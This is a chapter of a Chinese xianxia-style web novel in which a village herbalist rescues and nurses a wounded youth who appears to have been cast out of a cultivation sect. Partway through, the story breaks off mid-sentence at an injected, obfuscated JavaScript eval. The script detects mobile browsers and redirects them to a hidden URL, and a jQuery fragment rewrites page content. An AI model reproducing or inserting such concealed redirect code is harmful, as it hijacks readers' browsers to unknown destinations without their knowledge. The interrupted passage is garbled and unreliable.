第一章捡了个少年
青崖镇往东三十里，有片野竹林。
那片竹林我走过不下百回。从我爹还在世的时候，他就常带我来这儿采药。后来爹走了，我一个人，还是走这条路。竹林里的每块石头、每棵老树，我都熟得很。哪片坡地长黄精，哪块阴湿处长灵芝，哪条溪沟边有野生的薄荷，闭上眼都能摸到。
这日我去采黄精。
前些日子落了半个月的雨，山里潮得很，泥土踩上去软绵绵的，每一步都陷下去半寸。雨后的竹林有一种特别的味道，湿润的泥土混着腐叶的酸气，还有竹子特有的清香，丝丝缕缕地往鼻子里钻。阳光从竹叶的缝隙里漏下来，在地上洒了一片片碎金，风一吹，那些光斑就晃啊晃的，晃得人眼睛发花。
我背着竹篓，手里拎着小锄头，沿着熟悉的山路往深处走。露水打湿了裤腿，凉丝丝地贴在脚踝上。林子里的鸟叫得欢，叽叽喳喳的，偶尔有几声布谷鸟的叫声从远处传来，空灵灵的，在山谷里荡出回音。
走到那棵老松树附近的时候，我停下了脚步。
那棵松树有些年头了，树干粗得要两人合抱，树皮皴裂得像老人的手背。松枝伸得老远，遮住了一大片天，树下常年见不着多少日光，所以寸草不生，只有一层厚厚的松针铺着，踩上去软绵绵的。
我本来是想在松树周围找找有没有灵芝——这种老树下头最容易长灵芝——可我还没走近，就看见了那个人。
他蜷在松树根底下，像一堆被人丢弃的破布。
我先是吓了一跳，心跳砰砰的，愣在原地好一会儿没敢动。山里时不时有摔死的采药人，我爹就曾经在山沟里发现过一个，那场面我到现在还记得。我咽了口唾沫，攥紧了手里的小锄头，慢慢挪过去。
走近了才看清，是个少年。
看着也就十五六岁的模样，穿着一身灰扑扑的衣裳，已经看不出原本的颜色了。那衣裳破得不成样子，好几处都裂开了口子，露出里面的皮肉。他就那么侧躺着，身子蜷成一团，脸朝着松树根，一动不动。
我蹲下身子，先看见的是他的手。
那双手瘦得吓人，指节分明，手背上青筋暴起，指甲缝里全是泥。手腕上有几道深深的血口子，已经结了黑红的痂，但边缘还在往外渗着淡黄色的水。
我伸手探了探他的鼻息。
还有气。
但很弱，弱得我差点没感觉到。那气息拂在我手背上，温热的一点，若有若无的，像深秋里最后一只蚊蝇的挣扎。
我把他翻过来。
他身子软得很，一点力气都没有，翻过来的时候头往旁边一歪，像根被折断的枝条。等我看清他的脸，心里咯噔一下。
很年轻的一张脸，眉眼生得极好。剑眉，眉峰很利，像是用刀裁出来的。鼻梁挺直，嘴唇却紧紧抿着，抿成一条发白的线。他的脸色白得吓人，不是那种健康的白，是像纸一样的白，隐隐透着一层青灰。眼窝深陷，睫毛又长又密，在眼睑下投出一小片阴影。
他眉头紧紧皱着，眉心拧出一个疙瘩，像是在做噩梦。嘴唇动了动，发出几个含糊不清的音节。
“……长老……不是我……”
声音很轻，轻得像梦呓，从嗓子眼里挤出来，带着一股说不出的委屈。
我听不大懂，也没工夫细想。
这人伤成这样，扔在这儿肯定活不过今晚。夜里山里的野狗多，他那身子骨，用不了一个时辰就能给啃成白骨。
可我一个开药膳铺的，背个大活人回去算怎么回事？
我蹲在那儿犹豫了一会儿。
山风吹过来，松针簌簌地响，像有人在耳边小声说话。远处有只乌鸦叫了两声，难听得很，像是在催我拿主意。
他又动了动嘴唇，这回声音大了些，带着颤抖：“……冷……”
那声音像根针，扎了我一下。
得，算我倒霉。
我把背篓往身上紧了紧，弯腰把他捞起来。入手的一瞬间，我心里又咯噔一下——这小子太轻了，轻得不正常，我一只手就能把他拎起来。他像一把干柴，像一捆枯骨，没有半点分量。
我把他的胳膊搭在肩上，另一只手搂着他的腰，使劲往上一耸，把他背了起来。
他软软地趴在我背上，头耷拉在我肩膀旁边，呼吸扑在我脖子上，热热的，又弱弱的。
“你小子要是死了，”我咬着牙一步一步往山下走，“我非得把你背回来再扔一回。”
他没应声，只是在我背上又哆嗦了一下。
那是从骨子里透出来的哆嗦，像三九天里穿着单衣站在雪地里的人。我能感觉到他整个身子都在轻微地颤抖，一下一下的，透过衣裳传到我身上。
我闭上嘴，加快了脚步。
回到铺子的时候，天已经擦黑了。
青崖镇不大，从东头走到西头用不了一炷香的工夫。我的铺子就在镇子中间，靠着十字街口，门口有棵老槐树，树上挂着一块褪了色的木招牌，写着“沈记药膳”四个字。
铺子是祖上传下来的，前店后宅。临街三间，中间是店面，两边一间是灶房一间是库房。后面是个小院子，东西各两间厢房，我住东边那间，西边那间空着，放些杂物。
我背着那少年推开虚掩的木门，穿过店面，进了后院。
院子里那棵老槐树遮了大半个天，树冠伸得老高，叶子密密麻麻的，把夕阳光筛成一片片碎金。树下有口井，井台上长着青苔，旁边是张石桌，几个石凳，桌上放着我早上没收的簸箕，里头晒着切好的党参片。
我顾不上这些，直接把他背进西厢房。
那间房空了很久，里头只有一张木床、一张桌子、一把椅子。床上铺着旧褥子，上头落了一层薄薄的灰。我用袖子胡乱掸了掸，把那少年放上去。
他落在床上的时候，连闷哼都没哼一声，就那么软软地瘫在那儿，像一摊没有骨头的肉。
我去灶房打了盆温水，端进屋来，开始给他擦洗伤口。
油灯点起来，火苗一跳一跳的，在墙上投下摇晃的影子。我把灯挪近些，凑着那点昏黄的光，仔细看他身上的伤。
这一看，我愣住了。
他身上的那些伤，我活二十三年，没见过。
不是刀剑砍的，也不是摔的。那些伤口从里面往外翻着，边缘有焦黑的痕迹，像是有什么东西从他身体里往外钻，硬生生撕出来的。最密的地方是胸口，一道道口子纵横交错，有些已经结了痂，有些还在往外渗着淡黄色的液体，在灯光下泛着诡异的光。
我伸手轻轻碰了碰那些伤口边缘。
烫的。
不是发烧那种烫，是像火烧过之后残留的余温，从皮肉深处透出来的热。他明明浑身冰凉，这些伤口却还留着那样的温度。
我心里有些发毛。
但我没工夫细想，得先救人。
我翻出爹留下来的金疮药。那是我爹亲手配的方子，用白及、血竭、乳香这些药材磨成粉，止血生肌最灵。我拿干净的布蘸着温水，把那些伤口周边的血污轻轻擦掉，然后撒上药粉，拿布条一圈一圈裹好。
他的身体在颤抖。
从头到尾都在颤抖，不是那种剧烈的抖，而是细细的、持续的抖，像风中的蛛丝。我每碰他一下，他就抖得更厉害些，眉头皱得更紧些，嘴唇抿成一条线，却始终没有叫出声来。
伤口太多，光是胸口的就裹了七八道布条。然后是手臂，是后背，是大腿。等我把最后一处伤口裹好，盆里的水已经红透了，像兑了胭脂。
我又去灶房熬了一碗姜汤。
姜汤是用老姜熬的，放了些红糖，驱寒最好。我端着碗进屋，把他扶起来靠在我身上，一点一点给他灌下去。
他的头软软地垂着，喉咙动了动，把汤咽下去。有几滴顺着嘴角流下来，淌在我手背上，烫烫的。
忙活完这些，天已经黑透了。
院子里的老槐树黑黢黢的一团，风吹过，叶子哗哗地响。远处传来几声狗叫，隐隐约约的，像是从镇子另一头飘过来的。
我坐在床边的凳子上，靠着墙，借着油灯的光打量他。
这小子长得真不错。
剑眉星目，鼻梁挺直，就是太瘦了，颧骨都有些凸出来，脸颊深深地凹下去。嘴唇干裂起皮，颜色淡得几乎没有。睡着的时候眉头还皱着，眉心拧成个疙瘩，像是在跟谁较劲。
他的睫毛很长，在眼睑下投出一片淡淡的阴影，随着他轻微的呼吸一颤一颤的。
“也不知道是哪家的孩子。”我嘀咕了一句，起身去灶房，给他炖上粥。
夜里他发了烧。
烧得不轻。
我是被他的呻吟声惊醒的。那时我已经靠着床沿睡着了，迷迷糊糊听见有人哼哼，猛地睁开眼，就看见他在床上翻来覆去，身子扭得像条蛇。
我伸手一探他的额头，烫得吓人。
那种烫不是寻常发烧的烫，是像一块刚从火里拿出来的炭，隔着掌心都能感觉到那股灼人的热气。我赶紧缩回手，手心已经红了一片。
他的脸烧得通红，两团病态的潮红浮在颧骨上，嘴唇却干得起了皮，一层一层翻起来，像久旱的土地。他不停地动着，头摇来摇去，身子扭来扭去，嘴里一直在说胡话。
“我没有……不是我偷的……”
声音沙哑得厉害，从喉咙里挤出来，带着哭腔。
“长老……别赶我走……”
他的眉头拧成一团，眼角有什么东西在闪烁，不知道是汗还是别的什么。
“我能修……我能修的……”
说到最后，声音已经低得听不清了，只剩嘴唇在动，一下一下的，像离了水的鱼。
我去井里打了冷水，浸了帕子，敷在他额头上。
帕子刚一贴上，他就安静了些，眉头松开一点。但没过多久，又开始动起来。我换了又换，一盆水很快就温了，再去打一盆。来来回回，跑了一夜。
油灯里的油添了两回，火苗始终一跳一跳的，在墙上投下我晃来晃去的影子。
窗外的天黑沉沉的，没有月亮，只有风吹着老槐树的叶子沙沙地响。
我坐在床边，一遍遍给他换帕子，一遍遍听他那些断断续续的胡话。
“我没有偷……我真的没有……”
“我想修炼……让我修炼……”
“别打我……求你们别打我……”
最后一句，他声音压得极低，低得像是在跟自己说：
“我只是想……被人看见……”
我听着这些胡话，心里大概有了点数。
这小子，八成是个修仙的。
青崖镇虽然偏僻，但离灵剑宗不算太远。往东一百多里就是灵剑山，天气好的时候能看见天边那些青灰色的山峰，云雾缭绕的，像画儿一样。偶尔能看见天上有仙人飞过，衣裳飘飘，踩着剑或者坐着什么法器，一闪就过去了，比鸟儿还快。
镇上的老人爱讲些仙门里的故事。什么“灵根”啊“资质”啊，谁家孩子要是被仙人看中了带走，那就是祖上积了八辈子的德。我听得多，多少知道一点。
这小子说“能修”，又说“偷”，估计是在宗门里出了什么事。
但我没往深里想。
修仙也好，凡人也
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17357909|199708||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
罢，这会儿他就是个发着烧、说胡话的半大孩子。一个被人打得半死、扔在山里等死的半大孩子。
我把帕子浸凉了，重新敷在他额头上。
帕子冰凉，贴上他额头的时候，他浑身一抖，但很快又安静下来。
“行了行了，别念叨了。”我低声说，声音轻得像怕惊着他，“没人赶你走，好好睡吧。”
不知道是不是听见了我的话，他居然真的安静下来。
呼吸渐渐平稳，眉头慢慢舒展，身子也不再扭动了。他沉沉地睡过去，脸上的潮红褪下去一些，只剩两团淡淡的粉，像个正常发烧的人了。
我打了个哈欠，靠着床沿，也睡着了。
第三天早上，他醒了。
我是被一阵轻微的响动弄醒的。睁开眼，就看见他靠坐在床头，怔怔地盯着窗外的老槐树看。
日光照进来，从窗户纸里透过来，柔柔的，落在他的脸上。那张脸还是苍白，但比刚来时好多了，至少有了些人色。眼睛睁着，黑眼珠亮亮的，正出神地望着窗外。
窗外那棵老槐树刚长出新叶，嫩绿嫩绿的，在晨光里泛着一层淡淡的金色。有两只麻雀在枝头跳来跳去，叽叽喳喳地叫，叫一阵就扑棱着翅膀飞走了。
他就那么看着，一动不动，像是要把那棵树、那些叶子、那些鸟，都刻进眼睛里。
听见动静，他转过头来。
那一瞬间，他的眼神凌厉得像一把刀。
那种眼神我见过。小时候去山里，碰见过一只受伤的野狼，它就是这样看我的——警惕，防备，随时准备拼命。那眼神只持续了一瞬，然后迅速收了回去，变成一种小心翼翼的打量。
“你醒了？”我从床沿上站起来，浑身骨头都在响，坐了一夜，腰酸背疼的。
我把床头矮几上的粥碗端起来，递给他：“躺好，别乱动。”
他没动，也没说话，只是盯着我看。
那双眼睛很黑，黑得像两口深井，里头藏着什么东西，看不透。他盯着我，从我的脸看到我的手，从我的手看到我身上的衣裳，最后又回到我脸上。
我也不急，拉了张凳子坐下，给自己倒了杯水。
水是昨晚的凉白开，喝下去从嗓子眼凉到胃里，倒是提神。
“这是哪儿？”他终于开口，声音哑得像破锣，像是很久没说过话的人。
“青崖镇。”我说，“我姓沈，开药膳铺的。你在后山晕倒了，我把你背回来的。”
他沉默了一会儿，垂下眼，低声说：“谢谢。”
那声谢谢很轻，轻得几乎听不见。他的头低着，睫毛垂下来，遮住了眼睛里的神色。
“不客气。”我指了指那碗粥，“先把粥喝了。你三天没吃东西了，别一下子吃太多，先喝点粥暖暖胃。”
粥是小米粥，熬得烂烂的，放了几颗红枣，甜丝丝的。我特意多熬了一会儿，就怕他虚弱的肠胃受不了。
他看了看那碗粥，又看了看我，慢慢伸手端起来。
他手上有伤，裹着厚厚的布条，端碗的时候抖得厉害。碗在他手里晃来晃去，粥差点洒出来。我想伸手帮忙，他往后一缩，躲开我的手，自己咬着牙端稳了，一口一口慢慢喝。
他的手抖得厉害，每喝一口都要停下来歇一歇，碗里的粥晃出一圈一圈的涟漪。但他始终没让碗洒出来，也没让我帮忙。
我看着他喝粥，忽然问：“你叫什么？”
他顿了一下，抬起头看我。
那眼神里，有警惕，有犹豫，还有些别的什么。像一只受惊的兔子，随时准备跑。
我摆了摆手：“不想说就算了。我就是随口一问，你住着就是，等伤好了再说。”
他又低下头，喝完了那碗粥。
喝完，他把碗放回矮几上，抬起眼看我。
“我叫于玄。”他说。
声音还是哑，但比刚才稳了些。
于玄。
我点点头：“于玄，这名字不错。”
他愣了愣，似乎没想到我这么轻易就接受了。那双眼睛里闪过一丝迷茫，像是在奇怪我为什么不追问，为什么不怀疑。
我没再多问，端起空碗往外走：“你再躺会儿，晚上我给你炖个鸡汤补补。”
走到门口，我听见他在身后说：“你……不怕我？”
我回过头，看着他。
日光从窗户照进来，落在他身上，把他整个人的轮廓都染成淡淡的金色。他缩在床角，瘦得皮包骨头，一脸的病容，裹着那些乱七八糟的布条，活像个被人丢弃的破布娃娃。
可那双眼睛，那双又黑又深的眼睛里，却藏着什么东西。
不是警惕，不是防备，是一种更复杂的东西。像期待，又像害怕。像想被看见，又怕被人看见。
我说：“怕什么？怕你吃了我的鸡？”
他愣住了。
那双眼睛里的神色变了好几变，最后竟然弯了一下。
只是很轻微的一下，不仔细看都看不出来。但我看见了。
他没说话。
我笑了笑：“行了，好好躺着吧。在我这儿，没那么多讲究。”
门帘落下，遮住了他的脸。
院子里的老槐树在风中轻轻摇着，叶子哗啦啦地响。我端着空碗站在门口，忽然想起他说的那句话。
“我只是想……被人看见。”
我抬头看了看天。
天很蓝，蓝得像洗过一样。几朵白云慢慢飘过去，悠悠的，懒懒的。
我不知道他在想什么，也没问。
反正来日方长。
该说的，总会说的。